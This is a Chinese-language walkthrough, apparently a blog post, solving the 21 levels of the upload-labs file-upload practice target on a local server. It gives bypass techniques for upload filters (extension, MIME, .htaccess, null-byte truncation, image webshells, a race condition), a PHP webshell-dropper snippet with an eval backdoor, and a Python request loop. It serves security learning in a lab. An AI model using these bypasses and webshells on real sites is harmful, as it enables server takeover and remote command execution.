upload_labs靶机21关超详细通关

文件上传漏洞

upload_labs靶机练习

前言:

这是我练习文件上传漏洞时候,顺手整理下来的练习报告,本人小白一个从基础漏洞开始学习,有什么错误欢迎指出,勿喷。

文章纯属是为了交流学习,如有不正当利用,和我无法律关系。

因为不同地方下载的upload_labs靶机不一样,所以我这下面的关卡顺序可能和你的不一样。

靶机地址:本机搭建的phpstudy   http://127.0.0.1/upload/Pass-01/index.php

测试浏览器:火狐

测试平台靶机:upload_labs

Pass-01

1.创建一个 muma.txt  文件  把文件类型改为  muma.png,  放入一个phpinfo 文件

文件代码:

 <?php phpinfo();?>

2. 打开代理,打开burpsuit

尝试直接上传php文件,失败,因为没有出代理就提示错误,应该是在客户端验证的上传文件类型,可以使用burpsuit绕过

选择上传新创建的文件 muma.png,在burpsuit 中将muma.png类型改变一下,改为:muma.php,   然后点击forward 发送。

ps:这以后都是左边黑色的为upload_labs靶机浏览器的上传文件,右边白色为burpsuit

查看上传路径

上传成功

Pass-02

1.第二关,和第一关差不多,就是在改变type的同时还得便MIME(文件打开类型)改变。

Pass-03

基于文件后缀名验证方式的分类:
1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。

按上一步骤更改文件名字上去,上传文件上去。发现不允许上传.php, .asp , .aspx,  .jsp 等后缀名文件。 大小写绕过也不行

应该是在服务端设置了白名单,黑名单。 所以我们可以上传其他的可执行文件。其他的后缀名文件:例如php1php2phtmlphp5等等。

把文件名 从muma.png 改为 muma.php1

Pass-04

打开源代码发现,黑名单有一大串,估计绕过是不行了

仔细看一下没有禁止:  . htaccess

htaccess文件介绍:

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中.htaccess文件内容:

SetHandler application/x-httpd-php


设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。

创建  .htaccess 文件  并将其上传,文件内容为:
SetHandler application/x-httpd-php

ps文件名就是:.htaccess        不用加上名字否则gif文件不能执行

最后再把图片木马上传上去,所有文件都会被解析成.php文件。所以上传成功

Pass-05

文件名绕过方式:大小写绕过,文件名后加. 绕过,文件名前后加空格绕过,文件名后加. .(点+空格+点) 绕过等等。

黑名单加上了.htaccess,但是没有将后缀进行大小写统一,

查看源代码:文件名末尾加点,大小写,字符串,和首尾加空格   都被禁止

所以使用:空格+.+空格(. .)   绕过  例如:muma.php. .

Pass-06

大小写绕过原理:

Windows系统下,对于文件名中的大小写不敏感。例如:test.phpTeSt.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感。例如:test.php TesT.php就是不一样的。

即:windows对大小写不敏感,Linux对大小写敏感。

查看源代码,发现大小写转换代码,没有了。  可以使用大小写绕过

查看上传路径

Pass-07

黑名单,点号绕过:

Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。

查看源代码,发现删除文件名前后空格的代码没有了,即可以在burpsuit代理中使用文件名后面加空格绕过。

查看路径

访问文件

Pass-08

.号绕过原理:

Windows系统下,文件后缀名最后一个点会被自动去除。

查看源代码,发现文件名后加点,去除的代码没有了,  可以使用文件名后加点绕过。即:muma.php.

查看上传文件路径

访问文件

Pass-09

特殊符号绕过原理:

Windows系统下,如果上传的文件名中muma.php::$DATA会在服务器上生成一个muma.php的文件,其中内容和所上传文件内容相同,并被解析。

查看文件上传路径

访问文件

Pass-10

第十关 分析代码 ,文件名需要空格+.空格(. .)  绕过

查看文件上传路径

访问文件

Pass-11

str_ireplace 函数将符合黑名单的后缀名替换为空,  所以可以使用双写绕过

将muma.gif  改为   muma.pphphp

查看文件上传路径

访问文件

Pass-12

第十二关,需要PHP版本低于5.3.29,magic_quotes_gpc为关闭状态。

2018 phpstudy切换版本的方式

选择版本

关闭magic_quotes_gpc,其他选项—>php扩展及设计—>参数开关设置

—>magic_quotes_gpc     把钩去掉即可

上传一个muma.php文件,再在burp 中改为muma.php  同时调整save_path 参数截断为:

/upload/upload/muma.php%00

Pass-13

和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。

查看上传路径

访问目录

Pass-14

从这一关开始,要开始用图片木马(图片+一句话木马),当然也可以加其他可执行代码。

废话少说,图片压惊   熊图+一句话木马txt文件 == yiju.jpg 

制作图片马:

windows—>cmd:  copy  yi.jpg /b + 111.txt /a hell.jpg

直接上传,使用burp截取即可,不用改动。只是为了在上面查看上传路径

查看上传路径

访问文件,使用 中国菜刀或者蚁剑 结合一句话木马图片和文件包含的方式完成目录的获取

Pass-15

在第十五关前一关用的图片马就用不了了,因为前面的方法制作的图片马会导致图片损坏,所以我们得使用另一个方法制作一张不损坏得图片马。

可以使用winhex或者其他二进制软件打开,直接把一句话木马粘贴在图片得最后,保持即可

直接把图片上传,查看文件的路径

利用文件包含,使用中国菜刀或者蚁剑 结合一句话木马图片和文件包含的方式完成目录的获取

Pass-16

第十六关,只要打开php_exif模块,就可以成功上传木马图片。木马图片的制作和第十五关的就行,即使用winhex制作。

2018phpstudy打开php_exif模块

正常上传图片,获取上传图片路径

利用文件包含,使用蚁剑或中国菜刀

Pass-17

第十七关使用容易绕过二次渲染的gif,可以使用上面两关使用copy或者winhex

  1. 将图片马直接上传,发现无法使用菜刀利用,将图片下载下来

  1. 把上传之前的图片 和下载下来的图片  放入winhex 进行对比,

可以找到二次渲染后不变的地方,而这个地方就是可以插入一句话的地方。

3.直接把渲染好的图片,即二次加马的图片直接上传

ps:这一步骤,如果是用肉眼找不同的,图片有多小找多小。

Pass-18

这一关是先上传再判断,所以是在判断前就对上传文件进行请求。

1.先创建一个webshell.php,内容为

<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>

2.这里为了方便快速,修改以下源代码

再使用python不断请求

import requests
while 1 :
requests.get("http://192.168.248.128/upload/upload/webshell.php")

3.开启代码,然后直接上传webshell.php文件

查看是否成功上传文件

ps:这一关我虽然最终成功了,但是有点侥幸。试了几十次开启python上传webshell,只成功了两次,因为python出现了一些问题http 最大连接数

Pass-19

第十九关  就必须上传的文件是白名单中的文件了

1.直接上传copy制作的或者winhex制作的图片

2.找到 上传文件路径,然后再使用蚁剑或者中国菜刀利用即可

upload-labs - Paddling - 博客园

Pass-20

这一关可以像前面,利用图片马结合文件包含漏洞使用。

直接上传 .php 文件

查看上传路径

访问文件

Pass-21

这一关可以像前面,利用图片马结合文件包含漏洞使用。

查看上传路径

最后使用蚁剑连接即可。

学习攻击是为了更好的防御,爱与正义才是真谛。

文章纯属是为了交流学习,如有不正当利用,和我无任何法律关系。

参考链接

upload-labs - Paddling - 博客园s

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值